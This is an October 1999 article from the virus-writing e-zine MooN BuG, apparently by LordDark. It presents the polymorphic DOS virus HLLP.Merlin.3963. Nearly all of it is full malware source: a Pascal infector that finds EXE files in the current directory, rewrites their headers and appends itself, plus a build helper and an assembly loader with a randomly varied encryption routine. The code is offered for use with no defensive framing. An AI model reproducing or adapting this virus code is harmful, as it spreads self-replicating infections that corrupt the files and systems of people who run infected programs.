╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ LordDark │009║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║                              HLLP.Merlin.3963                              ║
╚════════════════════════════════════════════════════════════════════════════╝

     Полиморфный  вирус  на  паскале  HLLP.Merlin.3963.  Поражает  EXE файлы в
текущей директории внедряется в конец.

=== Cut ===                                                        correct.pas
{$M $4000,65535,65535 }   { 16K stack, no heap }

Uses Dos;

type
      mz_hdr = record
        Signature:   Word;
        ExtraBytes:  Word;
        Pages:       Word;
        RelocItems:  Word;
        HeaderSize:  Word;
        MinAlloc:    Word;
        MaxAlloc:    Word;
        InitSS:      Word;
        InitSp:      Word;
        CheckSum:    Word;
        InitIP:      Word;
        InitCS:      Word;
        RelocTable:  Word;
        Overlay:     Word;
        Reserved:    LongInt;
end;

var
        mz: mz_hdr;
        f:  file;
        p:  pointer;
        size,sizex,sizen,n,nu: word;
        t: text;

begin
        writeln('-----------------------------------------');
        Writeln('Correct exit code');
        assign(f, paramstr(1));
        reset(f, 1);
        blockread(f, Addr(mz)^, sizeof(mz));
        if mz.Signature <> $5A4D then
           begin
                writeln('!"');
                halt(1);
           end;
        mz.InitSP := $FFFE;
        mz.InitCS := 0;
        Seek(f, 0);
        BlockWrite(f, Addr(mz)^, sizeof(mz));
        Seek(F, mz.HeaderSize*16);
        size := FileSize(f)-mz.HeaderSize*16;
        nu := size;
        getmem(p, size);
        blockread(f, p^, size);
        asm
               push ds
               mov  cx, size
               lds  si, p
           @@0:lodsb
               cmp  al, 0B4h
               jnz  @@1
               cmp  byte ptr [si+0], 4Ch
               jnz  @@1
               cmp  byte ptr [si+1], 0CDh
               jnz  @@1
               cmp  byte ptr [si+2], 21h
               jnz  @@1
               mov  byte ptr [si+2], 90h
           @@1:
               loop @@0
               pop  ds
        end;
        Seek(F, mz.HeaderSize*16);
        blockwrite(f, p^, size);
        freemem(p, size);
        Close(f);
        SwapVectors;
        Exec(GetEnv('COMSPEC'),'/C UPX -9 '+ParamStr(1));
        SwapVectors;
        Reset(f, 1);
        writeln('Only one reloc. ;)))');
        blockread(f, Addr(mz)^, sizeof(mz));
        Seek(F, mz.HeaderSize*16);
        size := FileSize(f)-mz.HeaderSize*16;
        GetMem(p, size);
        BlockRead(f, p^, size);
        Seek(f, mz.RelocTable);
        BlockRead(f, n, 2);      { ofs }
        BlockRead(f, sizen, 2);  { seg }
        Writeln('Reloc addres: ',Sizen,':',n);
        sizen := (sizen*16)+n;
        Seek(f, 0);
        BlockWrite(f, p^, size);
        Truncate(f);
        FreeMem(p, size);
        SIzeX := FileSize(f);
        Close(f);
        Assign(T, 'virstarz.inc');
        RewRite(T);
        Writeln(T, 'Start_IP = ',mz.InitIP);
        Writeln(T, 'Start_CS = ',mz.InitCS);
        Writeln(T, 'Body_Len = ',sizex);
        Writeln(T, 'RelocOfs = ',sizen);
        Writeln(T, 'Start_SP = ',mz.InitSP);
        Writeln(T, 'Start_SS = ',mz.InitSS);
        Writeln(T, 'RealBody = ',nu);
        Close(T);
        writeln('-----------------------------------------');
end.
=== Cut ===

=== Cut ===                                                              v.pas
uses dos;
type
      mz_hdr = record
        Signature:   Word;
        ExtraBytes:  Word;
        Pages:       Word;
        RelocItems:  Word;
        HeaderSize:  Word;
        MinAlloc:    Word;
        MaxAlloc:    Word;
        InitSS:      Word;
        InitSp:      Word;
        CheckSum:    Word;
        InitIP:      Word;
        InitCS:      Word;
        RelocTable:  Word;
        Overlay:     Word;
end;
var
     f: file;
     dirinfo: searchrec;

procedure infect( fname: string );
var
     mz: mz_hdr;
     attr: word;
     body: pointer;
     r: registers;
begin
     assign(f, fname);
     {$i-} reset(f, 1); {$i+}
     if IOResult <> 0 then Exit;
     if (FileSize(f) < 1000) Or (FileSize(f) > (200*1024) ) Then
        Begin Close(f); Exit; End;
     BlockRead(f, Addr(mz)^, sizeof(mz_hdr));
     attr := FileSize(f) mod 512;
     if attr <> mz.ExtraBytes Then
        Begin Close(f); Exit; End;
     if attr <> 0 Then Dec(mz.Pages);
     if (FileSize(f) div 512) <> mz.Pages Then
        Begin Close(f); Exit; End;
     if (mz.signature = $5A4D) or (mz.Signature = $4D5A) then
     else
        Begin Close(f); Exit; End;
     r.ax:=0;
     r.bx:=mz.InitCS;r.cx:=mz.InitIP;
     r.dx:=mz.InitSS;r.si:=mz.InitSP;
     intr($91,r);
     Body := Ptr(r.ax,r.bx);
     attr := r.cx;
     mz.InitIP := (Filesize(f)-mz.HeaderSize*16) mod $10;
     mz.InitCS := (Filesize(f)-mz.HeaderSize*16) div $10;
     mz.InitSS := mz.InitCS;
     mz.InitSP := $FFFE;
     mz.Pages  := (FileSize(f)+attr) div 512;
     mz.ExtraBytes := (FileSize(f)+attr) mod 512;
     if mz.ExtraBytes <> 0 Then Inc(mz.Pages);
     Seek(f, FileSize(f));
     BlockWrite(f, body^, attr);
     Seek(f, 0);
     BlockWrite(f, Addr(mz)^, sizeof(mz_hdr));
     Close(f);
     GetFAttr(f, attr);
     attr := attr or ReadOnly;
     SetFAttr(f, attr);
end;

const
     test_write = #255#0;
begin
     if PortW[$40] = 666 then
        Writeln('V-2D Merlin');
     assign(f, test_write);
     {$i-} rewrite(f, 1); {$i+}
     if IOResult <> 0 Then Halt(0);
     close(f);
     erase(f);
     FindFirst('*.exe', Archive, DirInfo);
     while DosError = 0 do
     begin
        Infect(DirInfo.Name);
        FindNext(DirInfo);
     end;
end.
=== Cut ===

=== Cut ===                                                             vv.asm
len_body_in_mem equ 100h+RealBody+1000
                ;   PSP
.model tiny
.code
org 100h
start:
      call $+3
delta:
      pop bp
      mov cx, _vl
      mov bl, 0
      org $-1
key   db  0
      lea si, [bp+_start-delta]
__1:  db  2Eh
poly  db  30h
      db  1Ch
      rol bl, 1
      inc si
      loop __1
len_crypt = ($-start)
_start:
      push cs
      pop  ds
      mov ax, 3590h
      int 21h
      mov 2 ptr cs:[old90-delta+bp],   bx
      mov 2 ptr cs:[old90+2-delta+bp], es
      mov ax, 3591h
      int 21h
      mov 2 ptr cs:[old91-delta+bp],   bx
      mov 2 ptr cs:[old91+2-delta+bp], es
      mov ax, 2590h
      lea dx, [bp+int_90-delta]
      int 21h
      mov ax, 2591h
      lea dx, [bp+int_91-delta]
      int 21h
      ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
      mov bx, cs
      lea ax, [bp+buffer-delta]
      mov cl, 4
      shr ax, cl
      inc ax
      add ax, bx
      mov 2 ptr cs:[bp+bufseg-delta], ax
      mov es, ax
      mov di, 100h
      lea si, [bp+vir-delta]
      mov cx, body_len
      rep movsb
      mov ax, es
      mov ds, ax
      add ax, 10h+start_cs
      ; настраиваем reloc's
      mov 2 ptr ds:[relocofs+100h], ax
      mov bx, ax
      add bx, Start_SS
      mov ss, bx
      mov sp, 0FFFEh
      push ax
      sub ax, ax
      push ax
      retf
int_90:
      ; вызывается при выходе
      ; паскалевской программы
      call $+3
_delta:
      pop bp
      lea bp, [bp+delta-_delta]
_exit:
      ; ds=cs; bp=delta
      lds dx, 4 ptr cs:[bp+old90-delta]
      mov ax, 2590h
      int 21h
      lds dx, 4 ptr cs:[bp+old91-delta]
      mov ax, 2591h
      int 21h
      mov ah, 62h
      int 21h
      mov es, bx
      mov ds, bx
      mov dx, 80h
      mov ah, 1Ah
      int 21h
      add bx, 10h
      add 2 ptr cs:[bp+segRET-delta], bx
      cli
      db  81h,0C3h
      dw  0
oldSS equ 2 ptr $-2
      mov ss, bx
      mov sp, 0FFFEh
oldSP equ 2 ptr $-2
      sub cx, cx
      mul cx     ; ax=dx=cx=0
      sub bx, bx
      sub si, si
      sub di, di
      sub bp, bp
      db  0EAH
ofsRET    dw 0
segRET    dw -10h
int_91:
      call $+3
delta3:
      pop  bp
      ; настройка адресов
      ; bx=InitCS
      ; cx=InitIP
      ; dx=InitSS
      ; si=InitSP
      push cx si
      push cs
      pop  ds
      in   al, 40h
      and  al, 11b  ; 0..3
      shl  al, 1
      sub  ah, ah
      xchg di, ax
      mov  ax, 2 ptr cs:[bp+di+poly1-delta3]
      mov  2 ptr cs:[bp+poly-delta3], ax
      mov  ax, 2 ptr cs:[bp+di+poly2-delta3]
      mov  2 ptr cs:[bp+_poly-delta3], ax
n1:
      in   al, 40h
      test al, al
      jz   n1
      mov  byte ptr cs:[bp+key-delta3], al
      mov  es, 2 ptr cs:[bp+bufseg-delta3]
      mov  di, len_body_in_mem
      lea  si, [bp+start-delta3]
      mov  cx, len_crypt
      cld
      rep  movsb
      mov  cx, _vl
      push cx di
      rep  movsb
      xchg ax, bx
      mov  bx, sp
      mov  di, len_body_in_mem
      mov  2 ptr es:[di+segRET-start], ax
      mov  2 ptr es:[di+oldSS-start] , dx
      segss
      mov  ax, [bx+4+2]
      mov  2 ptr es:[di+ofsRET-start], ax
      segss
      mov  ax, [bx+4]
      mov  2 ptr es:[di+oldSP-start] , ax
      pop  di cx
      add  sp, 4
      mov  bl, cs:[bp+key-delta3]
n2:
      db 26h
_poly:
      dw 0
      rol bl, 1
      inc di
      loop n2
      mov  ax, es
      mov  bx, len_body_in_mem
      mov  cx, vl
      iret
poly1:
      add byte ptr [si], bl
      xor byte ptr [si], bl
      sub byte ptr [si], bl
      ror byte ptr [si], cl
poly2:
      sub byte ptr [di], bl
      xor byte ptr [di], bl
      add byte ptr [di], bl
      rol byte ptr [di], cl
include virstarz.inc
vir:
include v.inc
vl = ($-start)
_vl= ($-_start)
bufseg  dw ?
old90   dd ?
old91   dd ?
buffer:
end start
=== Cut ===